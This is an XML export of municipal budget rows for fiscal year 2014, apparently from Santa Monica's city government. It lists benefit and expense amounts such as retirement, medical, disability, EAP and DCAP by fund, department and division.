<row _id="6080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>241346.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>241346.0</total></row>
<row _id="6081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1028946.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1028946.0</total></row>
<row _id="6082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66047.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66047.0</total></row>
<row _id="6083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72445.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72445.0</total></row>
<row _id="6084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>88748.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88748.0</total></row>
<row _id="6085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="6086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9051.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9051.0</total></row>
<row _id="6087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>931.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>931.0</total></row>
<row _id="6088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10406.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10406.0</total></row>
<row _id="6089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>835.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>835.0</total></row>
<row _id="6090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>576.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>576.0</total></row>
<row _id="6091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>360.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="6092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2175.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2175.0</total></row>
<row _id="6093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>996.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>996.0</total></row>
<row _id="6094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2509.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2509.0</total></row>
<row _id="6095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3330.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3330.0</total></row>
<row _id="6096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D[</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2151.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2151.0</total></row>
<row _id="6097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2742.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2742.0</total></row>
<row _id="6098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>622.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>622.0</total></row>
<row _id="6099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2941.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2941.0</total></row>
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<row _id="6101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>54769.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54769.0</total></row>
<row _id="6102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5698.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5698.0</total></row>
<row _id="6103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1548.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1548.0</total></row>
<row _id="6104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1838.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1838.0</total></row>
<row _id="6105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="6106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>756.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>756.0</total></row>
<row _id="6107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>786.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>786.0</total></row>
<row _id="6108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3090.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3090.0</total></row>
<row _id="6109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2172.0</total></row>
<row _id="6110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18218.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18218.0</total></row>
<row _id="6111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="6112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3236.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3236.0</total></row>
<row _id="6113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>42307.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42307.0</total></row>
<row _id="6114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>66915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66915.0</total></row>
<row _id="6115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7815.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7815.0</total></row>
<row _id="6116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4410.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4410.0</total></row>
<row _id="6117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>204.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>204.0</total></row>
<row _id="6118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29957.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29957.0</total></row>
<row _id="6119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3686.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3686.0</total></row>
<row _id="6120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>265.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>265.0</total></row>
<row _id="6121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5325.0</total></row>
<row _id="6122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7700.0</total></row>
<row _id="6124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6167.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6167.0</total></row>
<row _id="6125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3366.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3366.0</total></row>
<row _id="6126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28000.0</total></row>
<row _id="6127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19503.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19503.0</total></row>
<row _id="6128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3087.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3087.0</total></row>
